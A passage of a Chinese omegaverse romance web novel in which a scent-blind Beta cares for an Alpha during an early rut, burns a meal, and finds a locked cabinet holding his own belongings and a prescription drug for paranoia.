腕骨的箍痛也在此时消退—— 黎白榆被困住他的Alpha乍然推开了。 “出去。” 门边的男人忽地开口,声音低哑得如搅混入冷硬的冰碴。 他握住门框,指骨发白,生生关上了两人间的房门,力气重得近乎咬牙。 “——离远点。” “别跟来。” 第 15 章 015 房门被重重地在眼前关上, 留下一声低钝的闷响。 让被关在外面的黎白榆怔了好一会儿。 他慢慢低头,看了看自己的手。 刚刚黎白榆的双臂都被反剪在了身后,此时瘦白的腕骨上已经浮现出了明显的握痕, 整圈而色艳。 宛若一道镣铐。 黎白榆还下意识地向后伸手,去按了按自己的大腿根——那个方才被Alpha单手抬抱起来的部位。 指尖才刚碰到软处,他就停了动作。 然后缓缓地收回了手。 ……有点疼。 应该是也被掐红了。 Beta站在那里,沉默了好半天。 门内门外尽皆悄静到寂然, 只有室外瓢泼的雨声仍在敲打窗面。 过了片刻, 黎白榆才默默抬手, 轻轻地挠了挠自己的侧颊。 所以,Alpha是太讨厌他跟来……才上手把他赶开的吗? 把自己抱起来, 也是因为想将他扔远点? 黎白榆还尝试用自己仍带着红痕的手腕比划了一下, 越想越觉得刚刚严野客抱他的姿势很像是在扔杠铃。 可能Alpha最终还是保留了一点情面, 没有把他扔抛,最终改成了推开。 看来,对方是真的很讨厌有人贴近碰触……? 尤其是易感期期间。 黎白榆知道Alpha的易感期表现主要分为两种,一种是情热求偶,会按着伴侣使劲标记。 另一种则是反常粘人, 会抱着伴侣使劲撒娇。 但严野客的表现, 好像哪种都不符合。 他是推开伴侣, 使劲想隔离。 这种情形究竟算是Alpha排斥所有人,还是仅限于自己这伴侣一个人…… Beta顾自忖度着, 恰在此刻, 略显昏暗的室内忽然空静了一瞬。 黎白榆这时才察觉, 方才一直混杂在雨声里的轻微“滴滴”音终于停了。 温度表就挂在一旁的墙上,黎白榆过去看了一眼,发现上面代表室内信息素浓度的灯仍然亮着。 只不过从方才滴响时的危险红色, 变成了此时告诫用的黄色小灯。 这种室内的温度表一般都带有检测湿度、信息素浓度之类的基本功能。 虽然不一定有多么精准,毕竟只是日常家用。 但能让家用仪表都发出持续的警告声——想来方才室内的信息素确实浓郁到惊人。 即使黎白榆感知不到任何信息素,也堪堪能设想出情况的可怕。 也好在是他。 换作其他任何一个正常的A、B或O在这里,场面可能会更混乱吧。 黎白榆之前在实验室就曾不止一次地处理过紧急状况,这时倒也并没有多么惊慌。 他只是在想。 刚刚Alpha进房,并没有拿抑制剂。 那对方现在要怎么度过? 黎白榆转了转手腕,稍微纾解了一下腕间的跳痛,旋即便去翻找了一下家庭药箱。 他要找抑制剂喷雾和口服片。 常用的抑制剂类药品分为两种,一种是长效药物,需要注射使用。 另一种则是短效药品,例如喷雾或口服药片。 短效药物一般只有几十分钟的效用,最多不超过一小时。 但它们使用方便,往往可以在突发状况下应急。 如果是情热期稳定的AO,只需要在出现预兆时及时注射,就可以安稳度过,无需其他药品。 但如果易感期或发.情期时间不固定,又或是突发紊乱,那就可以先使用短效药物,等稍微平复后,再自行注射抑制剂。 黎白榆并不清楚严野客家中有没有准备短效药品,因为之前男人的易感期始终都很稳定。 说起来……Alpha这次的提前也挺突然的。 黎白榆边找边这样想着。 他还在想,如果家里真的没准备,自己就得出门去买了。 因为黎白榆的手机还在卧室里,没拿出来,这时也没办法叫外卖。 也不知道门锁会不会再次故障…… 幸好黎白榆还是在药箱中找到了短效抑制剂,口服和喷雾都有。 看起来,这个家当真准备得十分周全。 黎白榆看了看客卧的门,最终选择了口服片。 他拆出其中一板,将药片从房门下方的细缝中推了进去。 推进去后,黎白榆还屈指轻轻叩了叩门,简明地提醒了一下。 “门下面有抑制剂。” 房门内并没有声响回应,黎白榆也没有意外,先给对方留出了安静休息的空间。 等到又过了一刻钟,黎白榆准备好了所有东西,才重新去敲了敲客卧的门。 他浅浅呼了口气,轻声问。 “需要帮忙吗?” 倒不是黎白榆没有听严野客的话,不想离远一点。只是因为黎白榆知道,现在Alpha的情况明显不对。 不仅易感期的时间骤然提前,严野客的体温也是异样的冷冰。 黎白榆没有信息素感知能力,但刚才被Alpha箍住时却察觉到了鲜明的霜寒,那就只能是对方的体温所带来的警告和威慑。 或许这几日以来,严野客的体温一直偏低,都和他意外提前的易感期有关。 这样想着,黎白榆心底其实还有一个猜测——就是这件事的顺序,也可能是相反的。 也可能不是易感期导致严野客体温低,而是Alpha这些天心情不好,体温偏凉,才提前诱生了易感期。 那这不就是自己惹出的问题吗? 黎白榆小小地反省了一下。 也许他应该更注意,少去碰到对方的。 虽然实情未明,但这些猜测也让黎白榆更无法不管不顾地扔下Alpha。 “我是Beta,没有信息素波动,应该不会影响到你,也许可以帮下忙。” 黎白榆隔着房门缓声解释。 “我戴了手套,不会直接碰到你的。” 要知道,他不仅是Beta,还是个信息素失嗅的Beta。 即使不提其它,黎白榆本来也是处理这种紧急情况的最佳人选。 卧室内还是没有回音,黎白榆等了一会儿,又思索了一下。 他尝试着问。 “至少让我帮你把隐形摘掉,可以吗?” 易感期的Alpha会处于激素代谢的失衡状态,容易诱生出垂体下丘脑和身体的植物神经功能紊乱。 从而使得眼部的血管扩张,眼压往往会比平时增高,眼球也格外容易充血。 对常人来说或许不算严重,往往只是有些佩戴不适。 但对本就有眼部旧疾的严野客来说,影响却可能会更大。 “你的眼睛,在易感期最好不要带隐形。” 黎白榆劝道。 门内依然没有人声回答,过了片刻,才有一声轻轻的弹响。 “啪嗒”。 黎白榆听出那是房门反锁被打开的声音。 他小小地松了口气。 看起来,Alpha已经把短效抑制药顺利地服用下去了。 “那我进来了。” 黎白榆提醒了一声,他拿好手中的简易药盒,又等了几秒,见没什么异状后,才慢慢推门入内。 客卧里光线昏沉,几乎看不到一步之外的情形。 暗色翻涌,如滚墨深浓。 室外还在下雨,卧室窗外又有树影荫庇,此时房内比客厅更暗,始终没能有什么光线映照进来。 门边并没有人,似乎Alpha已经重新走回了屋内。 黎白榆试着朝房间深处看了一眼,却暂时没能寻到对方的身影。 只有雨声沉闷依旧。 黎白榆停了停,便依循记忆,朝窗边走了过去。 他没有试图开启光源,给自己照明,反而先去摸到了窗帘。 ——他把自己起床时拉开的帘布又给拉上了。 虽然这样让室内本就暗涩的光影愈发难辨,但黎白榆还惦念着Alpha那受过伤的眼睛。 骤雨中不时仍有落雷电闪,等到待会把隐形取下,要是再被光蜇伤视野就不好了。 人的视觉系统有暗适应调节,从窗边走回来,黎白榆对室内的昏暗也看得更清晰了一分。 他终于寻到了严野客的身影。 Alpha没有在床上,反而坐在沙发里,正沉默地半靠在椅背中。 黎白榆又走近几步,看到的细节又多了一些。 他这时才知道,为什么自己方才几次敲门,对方始终都没有出声。 ——严野客居然给自己带了止咬器。 不是那种嘴套式的铁制条状笼,而是直接堵嘴的金属口枷。 黎白榆之前也不止一次地见过旁人戴止咬笼,虽然原则上来说,易感期的Alpha都不适合外出,但易感期毕竟会持续三到五天,这期间要是真的撞上什么重要会议、考试或者讲演,肯定也还是需要露面。 有些Alpha的情况不甚稳定,就会在打完抑制剂后,再给自己加一个止咬器。 黎白榆之前的实验室里就有Alpha这样戴,他还记得衣明诀吐槽过,说人又不是真的狗,没有犬类那种筒状的吻部,戴这种套嘴式的笼子真的能有用吗,绝大部分的效果都拿来耍帅了吧。 衣明诀似乎还说过,现在骚包的Alpha多了,有的情侣还会专门戴止咬笼出街,当造型用,把路人的目光也当成他们Py的一部分。 黎白榆毕竟不是AO,也没想过找Alpha谈恋爱,对这种事就关注甚少。 但哪怕他了解不多,也看得出此时严野客的状态和骚包或者耍帅毫无关联。 男人戴的绝非是那种主要起造型作用的止咬器。他的口枷直接入嘴,下半张脸都被冷硬的金属所遮覆,更显得本就寒峻的脸庞廓线凌厉。 不知是不是严野客的体温依旧偏低,连带那暗银色的金属都染上了无可忽略的霜冷寒意。 让黎白榆莫名地,又在这肃色紧迫的间隙,联想到了前几天翻看朋友圈时,有同学近来正热衷在追的一种类型。 似乎叫什么…… 覆面系。 想归想,黎白榆的动作却没有半点耽搁。 他打开简易药盒,又在自己的手套外加戴了一层用酒精喷雾消毒过的一次性手套,做无菌处理,随后才拿起了同样消毒过外层的隐形眼镜盒。 严野客的每一幅日抛盒中都配有隐形眼镜取摘器,虽然他平时用不上,只拿手就可以戴,但若是旁人帮忙,这种取摘器却必不可少。 黎白榆记得自己当时设计调整瞳片盒,为的就是应对类似意外。 今天还当真发挥了作用。 室内依然没有光源,但此时窗外的雨势慢慢减缓,天光也比之前明朗了一些。 正好能让黎白榆帮忙。 Beta走过去,他的手很稳,也当真依言没有去触碰对方,只轻轻提醒了一声。 “向上看,尽量不要闭眼。” 其实就算他没提醒,Alpha也始终在抬眸。 光线清晰了一点,黎白榆更能确定对方的状态。 严野客一直在看着他,没有任何视线避让,灼然到近乎紧盯。 缓缓将那薄软的隐形瞳片摘下来时,黎白榆更是毫无遮挡—— 直接望见了那腥然的血色翻涌。 他心下蹙眉,有点担心是不是易感期的问题影响到了严野客的眼睛。 但黎白榆的手上动作依然没停顿,又轻缓利落地帮Alpha摘去另一只医用软瞳片。 因为光线不佳,他离得和严野客很近,近到耳膜边全然是Alpha的冷沉低喘。 严野客的气息偏重,一听便知状态压抑,想来很不好受。 黎白榆了然,自觉地抬高了一点。 主动拉远了和Alpha之间的距离。 也是这时,他感觉到严野客瞳中的血红似乎更重了一分。 黎白榆更加快了本就流利的动作,好在Alpha的反应还算配合。 原本担心的拒绝和排斥也没有出现,严野客非但没有因为取摘器的碰触而不适闭眼,反而一瞬不眨,冷如磐石。 只拿那双殷赤的瞳眸,将人霜然紧盯。 黎白榆腕骨微沉,手腕间还带着隐约的深痕。他终于将另一只瞳片也取下,这时才稍稍松了口气。 旋即,青年礼貌地拉开了距离,想让Alpha轻松一点。 他因此,他并没有看到,那一瞬更无遮挡的血色腥红。 光线昏晦,Beta的身形正模糊地倒映在严野客的眼瞳。 若是能再明朗一分,黎白榆或许能察觉,那血色掀腾,仿若将他严实地坠锁入牢笼。 哪怕不甚明晓,Beta也该会被提醒着联想到,严野客在社交平台所用的那副头像—— 无边浓郁的黑红,吞裹着一颗浅蓝金色星星。 但此时黎白榆已经站直了身形,并且习惯性地把取下的瞳片顺手收好,不留下杂物。 他的注意力还被另一件事吸引了过去。 在沉默未动的男人身侧,黎白榆发现了自己的睡衣。 黎白榆可以确定那是自己的睡衣,因为他起床后才把它脱下不久。 此时它正和枕头一起,一左一右地放在严野客的双手旁边。 如果没看错的话,那件睡衣好像还些许地变了形。 黎白榆又仔细看了一眼,确认。 的确变形了。 而且这回,睡衣前襟的扣子也是真的不见了。 大概是被刚刚进房的男人给撕扯弄坏的。 这就是Alpha在易感期的破坏欲吗? 黎白榆想。 不太能控制好力度。或者,是不想碰触别人,干脆拿衣服发泄一下。 Beta习惯性地思维发散,也一如既往地没耽误正事,他收好瞳片盒,帮人把被子抱了一床到沙发上之后,还拿出了注射用的长效抑制剂。 看了看针管,黎白榆贴心地询问。 “抑制剂需要我帮忙打吗?” 他说完这话,就听到了一点轻微的吱咯作响。 是那种金属摩擦时会发出的冰凉冷音。 黎白榆下意识地看了一眼严野客的口枷,不知道那东西是不是会让Alpha不舒服。 但还没等他看清,面前的男人倏然起身,抬掌直接握住了黎白榆的衣领。 然后就把他拎了出去。 黎白榆抓了抓发尖,也听懂了。 看来是不用他帮忙打抑制剂了。 等到被拎出客卧,房门又于眼前被再度关闭,黎白榆才偏头调整了一下自己的衣领。 接着他就发现,易感期的Alpha确实手劲很夸张。 因为他的衣领也变形了。 看样子,严野客确实是在强忍。 黎白榆没有再打扰他,准备让Alpha先安静地平复一下。 能睡一会儿就更好了。 易感期本就比平时更需要多休息。 刚才黎白榆还顺手把自己的手机带了出来,他看了眼时间,现在也才不到九点。 窗外的雨还在下,不过雨势已经减弱了许多,天色也更亮了一分。 黎白榆便去了厨厅,准备去煮点东西。 倒不是他自己想吃,而是易感期的Alpha需要补充体力。 他可以做点有营养的菜品,等严野客休息好之后,饿了来吃。 为此,黎白榆还专程去搜了下菜谱,看易感期的男性Alpha适合吃什么。 菜谱很多,黎白榆一一记下。 葱姜生蚝,韭菜海参,爆炒腰花,板栗炖鸡,红烧甲鱼。 看起来选择多样,但这些菜品却都有着同一个问题。 要处理鲜肉类。 黎白榆有点挠头。 他实在不太会处理活物,最多只经手过小白鼠。 以往Beta自己吃肉食基本都吃成品速食,但也不多,因为他对部分食物添加剂也容易过敏。 因为肉吃得少,所以之前才会有些蛋白质缺失。 于是黎白榆更常用的处理方式,也像是那次补充蛋白质——把鸡胸肉榨汁。 生蚝和海参榨汁后会熟吗? 黎白榆认真考虑了一下。 应该会吧?都变成糊糊了。 说不定还更好消化。 这么一想,黎白榆又振奋起来,觉得自己完全可以胜任Alpha的易感期大厨师。 他立刻给菜摊摊主打去了电话,询问今天可不可以送菜上门。 之前严野客说过,这个摊主还经营一家海产店,所以在鲜肉方面,黎白榆也把需求一起报给了对方。 生蚝,海参,腰子,甲鱼。 听完这些食材,电话对面诡异地幽幽沉默了片刻。 “这些有吗?”黎白榆问。 “……有。”摊主服务很到位,“我们马上给您送来,一小时之内。” 黎白榆弯了弯眼睛:“谢谢。” 他说完就挂了电话,并不知道自己点的这些食材会引发什么样的惊天猜测。 也不知道,这些东西要是真的被同一个人同一餐吃了,会补出什么样的龙精虎猛。 黎白榆只是非常高效地,先行去准备了其他配菜。 冰箱里还有葱、姜、韭菜和板栗,都很新鲜,虽然量不大,但一顿肯定够吃了。 韭菜之类的都是净菜,也不需要洗,黎白榆只把板栗剥了剥就完成了。 他看了看时间,离一小时还早,于是便打算先把韭菜搞熟。 这样等下,就可以把熟菜直接加进生蚝和海参糊糊里。 黎白榆非常有信心,他记得自己在学校很少炒菜,是因为宿舍的厨房没明火,炉灶太小。 现在回国了,用明火炒肯定没问题,还会很香。 黎白榆记得有个中文词专门可以形容这种香味。 叫“锅气”。 只是事情的发展,却好像和Beta的设想有些不一样。 不知道是不是严野客家用的厨具太好,黎白榆确实看到了锅气,就是这气稍微有点大。 还从淡淡的白色,逐渐变成了浓郁的黑。 黎白榆渐渐有些手忙脚乱,他在厨房里感觉比在实验室中要棘手得多。 他发现锅里原本绿色的蔬菜也很快被染黑了,不仅没有增添香味,反而更像是样本污染。 锅气变得越来越浓,弥漫来开,让周遭视野都逐渐有些模糊。 就在黎白榆不知要怎么进行下一步的时候,身后忽然响起了一个微哑的磁声。 “开抽油烟机。” 黎白榆怔了一下,回头,身侧已经伸来了一只手,直接把炉灶的火给关了。 下一秒,“滴”的一声轻响,闲置其上的抽油烟机终于启动,开始将厨厅内弥散的气烟强力吸收。 男人把按开抽油烟机的手收回去之后,黎白榆才反应过来。 “……你醒了?” 把自己反锁在客卧里的严野客,居然出来了。 Alpha没有说话,只握住黎白榆的上臂,把他从厨厅拉了出去。 天色已然大亮,厨房外的视野要清晰得多。 黎白榆看到严野客神色漠然,似乎已经没有了什么异状。 男人唇间的止咬器已经被摘掉了,连颈侧分明的青筋也不再如之前那般搏然凸跳。 只除了他抓握的力度依然有些重。 还有那双仍无遮掩的血瞳。 扫了一眼黎白榆腕间的红痕,严野客沉默一瞬,把捉人的手也放开了。 黎白榆并没有留意,他还在看严野客的眼睛——此时Alpha摘了平日惯用的薄边眼镜,换了一副墨色的遮光镜。 遮光镜上有标识,黎白榆认了出来,这应该也属于医用,是特种的功能镜。 “有感觉好些吗?” 黎白榆问。 严野客凝眸看他。 隔着墨色镜片,Alpha的目光难被辨觉。 于是便更加赤.裸。 他在紧盯,在审视,在估量黎白榆有没有不安、闪躲、顾虑和退避。 有没有……被突来的意外勾出阴影。 但并无此事。 黎白榆一切如常。 ……就连厨艺也如常。 厨厅中飘传过来一点未散的焦糊味,严野客反手将门带上。 “打过针了。” 他沉淡道。 如果忽略那一抹无法掩去的喑哑,Alpha的声调都没了异状。 注入体内的强劲抑制剂已经在慢慢发挥作用,把咆哮的、汹涌的疯狂死死地压塞回去。 不再允许那贪念的过火,撕破这眼前的平和。 或许是连日来黎白榆都陪在他身畔,严野客的偏激执意的确有所好转。 让他甚至可以维系此刻的表面平静,而不是把黎白榆立时扑按—— 像上次那般、像无数次在荒唐夜梦中想的那样。 咬住他,分秒都不可能放开。 “那……” 面前的Beta刚要开口,玄关的门铃突然响了。 “啊,是食材送过来了。” 黎白榆恍然,转身。 “我去拿。” 严野客少见地没有代劳。 遮光镜架在高挺鼻梁上,男人神色莫测,齿列很轻地磨咬了一下。 啧。 就算好转了,见黎白榆在自己面前走开,还是会烦。 烦躁很难压下从背后钳握住侧腰覆上他的欲.念。 门外送来的果然是刚刚预订的食材,这次黎白榆也顺利打开了门。 他签收了食材,正要付款,却见身后走过来的男人已经拿出了皮夹,从里面抽出现金,按面单上的价格付给了送货员。 “要了什么?”Alpha哑声问。 “生蚝,海参,腰花,甲鱼。”黎白榆又把食材复述了一遍,还道,“我付就好,现金找零也不一定方便。” “……” 严野客沉默了一秒,才道。 “你想吃这些?” “是给你准备的,”黎白榆忙解释,“我看菜谱说给易感期的Alpha吃这些会比较好。” 隔着墨镜,Beta感觉对方似乎又意味不明地看了他一眼。 “我不需要外力帮协。” “?” 黎白榆一时没听懂:“什么?” 严野客没有让送货员找零,反而又抽出两张百元钞,挟在长指间递给对方。 “去把厨房清理下。” 送货员接过钞票,利落地套上鞋套,去了厨房。 黎白榆怔怔地看着人进去,没想到现在的送菜小哥还提供这种服务。 这家菜摊运营……还真是全能啊。 他目送对方的背影,这时才听到身旁的Alpha又开口。 “我易感期不吃东西。” 黎白榆回神抬眸,又意外。 “什么都不吃吗?” 严野客抬指勾了下自己的衣领,似乎是嫌领口有些束缚。 “吃了更烦。” 火泄不出去,吃东西增加体力,更难压制过盛的精力。 黎白榆听了仍有些诧异。 他知道长效抑制剂中会同时含有一些人体必需的营养成分,但那毕竟只是最基础的供能。 绝大多数Alpha在易感期还是会吃东西,甚至比平日吃得更多。 除了补充精力,也是为了满足同样因激素而高涨的口腹之欲。 没想到严野客会这么……冷淡。 Beta心想,不仅性,对方似乎对各方面都没什么欲.望。 他似乎确实不是一个能轻易被激素影响的人。 也是这时,黎白榆又听沉默了片刻的Alpha道。 “只有一样,我会在易感期想吃。” 黎白榆好奇:“什么?” 不知道自己会不会做。 严野客看了他一眼,有墨镜隔档,男人的视线依旧难以明测。 “等你养好了伤再说。” ? 是很大很复杂的菜色吗,还要痊愈了之后才能做? 黎白榆虽然还有好奇,但见对方不欲多讲,便也没有追问。 他还想起自己刚刚有件事没问完。 “所以你易感期是真的提前了一个月?” 青年抬头看了一眼墙面上的温度表。 那里虽然没有滴响,但是代表信息素浓度的黄灯仍在亮。 Alpha似乎还在持续散溢着过量的信息素。 “有知道原因吗?”黎白榆小心地问。 他不知是不是自己影响了什么。 严野客却默然,片刻后才道。 “不清楚。” 男人抬手,长指轻按了下额角。 压抑已久的浅淡疲色似乎这时才从他的眉梢眼廓缓缓浮现出来。 “先去休息下吧?” 黎白榆难免有些牵念。 看样子,高浓度Alpha的易感期确实不容易度过。 严野客目光未敛,又凝视了他片刻,才低应。 “嗯。” “别做饭了,”Alpha还道,“之前的卤牛肉还没吃完。” 黎白榆乖乖点头:“好。我中午热了吃。” 他其实还想说,问对方要不要去检查一下。 易感期提前虽然不算什么大事,但严野客毕竟之前一直很稳定,现在骤然紊乱了时间,还是查一查更放心。 不过Alpha现在可能更需要先休息——黎白榆这样想着,却听严野客的手机响了起来。 男人拿过手机,扫了一眼屏幕,似是沉吟了一瞬,才将电话接起。 他回应也很简短,没听多久就把电话挂了。 接完,严野客才道:“我出去一趟。” 黎白榆微讶:“有事?” 这个时候外出? “我提前注射的抑制剂被档案自动记录了,”男人用微沙的嗓音扼要解释,“时间差太多,医生让我去检查。” 黎白榆松口气:“还是能查一下最好。” 他也准备和严野客一同出门:“我陪你去吧。” 严野客却按下了他:“你在家休息,先把伤养好。” 易感期的Alpha声音哑涩,却比本就强势的平日更为果决。 黎白榆顿了顿,最终也没好在这时和对方争执。 他只把严野客送出了门。 门锁的故障似乎已经好了,这次黎白榆开门也没有受阻。 等送Alpha离开后,黎白榆并没有立刻回房,而是先沿着别墅四面转了一圈。 雨已经停了,天空渐渐放晴,庭院的空气也显得格外清新。 只是,意料之中的。 他并没有看到那道白色的瘦幼身影。 小白猫不在。 虽然不知道小猫会在哪里躲雨。 但估计是等四下都无人时,它才会进来。 黎白榆想着,又把四面的围墙都依次看了一圈。 他想找找小白猫钻进来的墙洞,但不知是不是位置太隐蔽,这个也同样没能寻到。 草地还是湿的,黎白榆也不好真的走进去踩踏绿植。 逛了一周无果后,他便准备先回去了。 不过…… 离开前,黎白榆站在别墅后侧,抬眼望了望这座独栋小楼,若有所思。 他之前并没有在这个视角细看过整栋别墅,这次绕过一圈,却不知为何—— “总觉得,这栋房子……是不是有一层地下室?” 黎白榆自言自语地低喃了一句。 记忆中似乎有什么模糊的影像在隐隐浮动。 他是不是,还在这地下室里待过? 只是那些回忆到底太过含混,黎白榆并没能辨别出详情。 他刚才看过四面各处,也没有找到可能会有的地下室入口。 或许是……记混了? 黎白榆屈指轻敲了敲自己前额,却还是没能具体想清。 他也根本不记得自己什么时候住过地下室了。 想了好久,进展也不多。黎白榆便没有强求,只准备之后这段时间在附近多转转。 他回了房间,先去看了一眼厨房。 清理此处的送货员早已经离开,黎白榆再进去时,厨厅已经整洁一新,连送来的食材都被分门别类地放进了生鲜和冷冻区内。 黎白榆其实还对明火炉灶很有兴趣,不过他已经想好了下次再来试验。 Beta先去了客卧,准备把房间收拾一下。 房间内并不算乱,只除了黎白榆的睡衣和枕头被搬挪到了沙发上。 还有几件他的衣服也被从衣柜里取了出来,同样堆在沙发中。 许是Alpha方才出来得匆忙,这些衣服尚未被收起。而且—— 黎白榆翻了翻衣服,又偏头看了看自己颈后微微变形的衣领。 看起来,严野客似乎有在易感期破坏衣服的习惯。 沙发上这些,包括黎白榆身上这件,都被拽得有些许变形或者损坏。 这会是对方在易感期的唯一欲.望吗? Beta想。 不喜欢别人碰,也不欲吃东西。 只是会撕几件衣服。 似乎有点小众,但也不能说怪,毕竟,Alpha们在易感期总会丛生出各种过激的癖好。 更夸张的举动也多得是。 而且,这些衣服大多还是严野客买给他的。 想撕就撕吧,发泄出来最重要。 黎白榆先收好了衣服,准备等哪天有空一起送去裁缝铺修一修。 接着,他又把桌上的杂物清理了一下。 注射完的抑制剂空瓶和针管都被扔在了垃圾桶中,黎白榆拿了手套,习惯性地把这些医用垃圾特殊分类。 但等包裹针管时,他却意外发现,针头上仍残存有星点的血迹。 还留有一些半透明的凝固体。 这是…… 黎白榆愕然。 这是直接将抑制剂往腺体注射了吗? 黎白榆的研究涉及信息素,所以他清晰记得,高浓度信息素的结晶体为半透明状。 可是易感期的Alpha注射抑制剂,本该是向四肢或腹部的皮下注射的。 怎么会直接扎入腺体? 饶是黎白榆不做科研,他也清楚这个常识——Alpha和Omega的颈后腺体敏感至极,非常脆弱。 腺体的痛觉神经尤为发达,这是一种进化过程中的规避和保护,能提醒AO及时防护。 所以哪有人……会直接往自己腺体扎针的? Alpha这样做太危险了。 黎白榆皱了皱眉。 幸好对方此时已经去了医院,希望检查结果能将问题查明。 黎白榆把针管收好,准备等严野客回来之后再细问一番。 整理完客卧,回到客厅,黎白榆就看见,室内温度表上还亮着黄灯。 这个空间内过于浓郁的信息素,似乎还没有完全散去。 客厅之前就已经通了风,但似乎收效不明显。 黎白榆看了眼时间,便准备去找一下能消除信息素气味的室内喷雾。 虽然他感知不到,但如果等下严野客回来,再被自己的信息素气息呛到也不好。 客厅的储藏柜内并没有存放消除喷雾,不过因为了解此处的准备有多么周全,黎白榆也没有着急叫外卖。 他起身去了一趟储物间。 说是储物间,但其实这个房间的空间非常足,甚至和宽敞挑高的客厅都差不多。 黎白榆记得严野客说过,家里的日用品储备都放在这边,他便来这翻找了一下。 储物间大的确有好处,能放得下非常多东西。 黎白榆开了几个柜子,就又对这栋别墅的充足储备有了全新的认知。 连……嗯,连安全套都有满满一柜子。 还真是万全无遗、财大气粗啊。 黎白榆又对“储藏间内肯定有祛味喷雾”这件事更确信了一分。 但此时,房间太大的不利也显现了出来。 Beta一连开了十好几个柜子,都没找到喷雾瓶。 黎白榆继续翻看,依次拉开。找着找着,他便遇到了一个上锁的柜子。 前面也有几个上锁的小橱柜,黎白榆都自觉避开了,但眼前这个柜子很大,看起来像极了前面那些批量存放同种物品的空间。 而且,这个柜子还是六位的密码锁。 六位的密码,黎白榆太手熟了,他下意识地就去拨弄了一下。 011109。 巧的是,柜子居然还当真被打开了。 黎白榆愣了下,所以这是自己之前设的密码吗? 不过他转念一想,这个密码本就是严野客的生日,或许对方也习惯使用这串数字。 他的脑海中还在思考要不要打开,偏偏这时,柜门已经被自动弹开。 里面的东西露出来,又让黎白榆怔了怔。 柜子里存放的并不是祛味喷雾,而是一些零散的私人用品。 如果是严野客的东西,黎白榆肯定会立刻关上,等人回来之后再向他说明道歉。 但灯光投落进柜子里,那些用品被看得愈加分明。 这居然都是黎白榆的东西。 Beta伸手去翻了翻,钢笔,参会名牌,纪念照,便签…… 无论署名还是笔记,这些确实都清清楚楚。 全是黎白榆的。 这是……自己之前放在这里的吗? 黎白榆想了想,没太回忆起详情。 诸如参会证件之类的东西,上面都有详细信息,的确能让他回想起一些记忆。 可是Beta连冗长且专业的会议主题都想起来了,却始终没能想起这些东西是自己什么时候带回来的。 不过黎白榆记得严野客的确说过,自己从学校带回来的诸多行李都放在了这栋房子里。 或许是带回来后,暂时收放在了储物间里。 黎白榆最近几天都在用熟悉的东西找回忆,见状便又把柜子仔细翻了翻。 里面还有一些手套、发绳之类的物品。 即使没有署名,但一看也不可能是严野客用的。 翻到柜子下层,黎白榆还看到了一个药盒。 “阿立帕明片……?” 他有点疑惑。 怎么会有这种药? 黎白榆记得这药是一种精神类药物,主要用于治疗偏执、强迫症和躁狂。 他随手拿手机搜了一下,网上的结果跟他想的差不多。 但网络各种信息鱼龙混杂,现在浏览器又喜欢用AI作答,消息来源的真实性就有待商榷。 有了上次查色素痣险些查出患癌的教训,黎白榆便把药盒拍了一下,发给了衣明诀。 衣明诀的主攻方向正是精神药物药理及药物设计。 照片刚发过去,衣明诀的聊天框就有了新回复。 【衣明诀:?】 【衣明诀:这是谁的药?】 Omega显然还没睡,而以他的性格,在问过黎白榆方便后,就直接把语音打了过来。 “不会真让我乌鸦嘴说中了吧?” 衣明诀明显很惊讶。 “你身边真的有偏执狂出现了?” “没有,”黎白榆解释,“只是翻到了一盒药,想问问你它是治什么的。” “阿立帕明主要是用来治疗偏执症和强迫症的,而且算是比较中后期阶段的药了,不是患症初期能服用的。” 衣明诀还有点不放心。 “真的不是什么变态缠上你了吗?” “药是从柜子里翻出来的,我也不知道是谁用的。” 黎白榆说。 他心想,而且最大可能,还是自己的柜子。 “我在药品成分里还看到了海立芬,这是不是一种激素类成分?” 如果黎白榆的记忆没出错,这似乎还是一种只能由Beta服用的激素。 “是啊,”衣明诀果然道,“海立芬会对信息素有攻击作用,所以Alpha和Omega需要避免服用。” 黎白榆问:“所以这个阿立帕明片是Beta版本?” 听起来更像是自己用的了。 “也不一定,”衣明诀说,“因为各国对海立芬的规定剂量不同,像国内的话,就是药物中但凡含有海立芬,都不能给AO使用。” “但欧盟的标准不一样,那边的药,只要海立芬的成分不超过10微克,AO也是能服用的。” 黎白榆翻了翻药盒,这个药确实是进口药,但上面额外贴了中文注释,就不太清楚是在哪里开的了。 电话那边的Omega提醒:“阿立帕明在各国都是处方药,必须开处方才能拿,你要不要找找药盒旁边有没有处方?上面应该有写更详细的信息。” 黎白榆刚才已经翻过,药盒四周并没有其他东西。 不过,他想了想,便上手把药盒拆开了。 药盒从外观看还没有被拆封,但它外面并没有塑封,而是用的不干胶。 不干胶贴条可以重新利用,黎白榆把药盒打开,果然在里面看到了一张叠好的纸质处方单。 “有。” 细碎的纸片摩擦声透过听筒传递到另一边,Omega也在屏息期待。 “上面写了什么?” “……” 黎白榆拿着处方单,却沉默了好一会儿,半晌才道。 “我……没看懂。” 他把处方单拍了照片,给衣明诀发了过去。 看完,衣明诀也沉默了。 “……这是中文吗,还是英语啊?” 黎白榆知道有些医生字迹比较草,而且开处方时会有业内约定俗成的简写,比如一个圈代表什么意思,三个圈又代表什么药剂。 但能潦草到像这张单子一样的写法……他就确实没能看懂了。 “这连语种都认不出来啊!” 衣明诀在电话那边揪头发。 “不行,你等我问问我师姐师兄,还有我妈,我妈在国内当了三十年医生,我让她也看看能不能认清。” Omega不肯轻言认输,势必要把黎白榆的这个忙给帮了。 “你放心——患者名字都在上面写着呢,肯定能有医生认得出!” 第 16 章 016 结束了和衣明诀的通话, 黎白榆不由开始深思。 虽然暂时没能看懂处方上的字迹,但他却越来越觉得…… 这大概率可能是自己的问题。 黎白榆又垂眸扫视了一眼橱柜,虽然起初他也有些疑惑, 自己为什么要带这些不是急用品的东西回来,还专程放在储物间的柜子里—— 但这也可能只是为了留些纪念。 无论怎么说,这个柜子里肯定都是他的东西。 阿立帕明片的药盒放得靠下,最下面那层虽然没有上层区域摆放得那般精细, 但都在同一个柜子里, 很大几率也是黎白榆自己用的。 Beta这样默默忖度着, 一边又收好了柜子,继续开始翻找祛味喷雾。 除了方才这盒很可能仅限Beta服用的偏执症治疗药物, 黎白榆还在思考上次麻医生的说法。 医生说, 许多临床案例的情感丧失是因为遭遇了不好的事, 对精神形成了过大的冲击或阴影。 那假设,自己也有这种情况的话……他的阴影又可能会是什么? 其实黎白榆之前就有些隐约的发现,而这次Alpha意外提前的易感期,更让他觉得明显。 从醒来后,黎白榆就感觉。 自己对其他人的情绪似乎非常寡淡。 可以说是社恐, 或者也可以说成是内向, 黎白榆当然并没有觉得这种事不好, 每个人都有自己的独一无二性格。 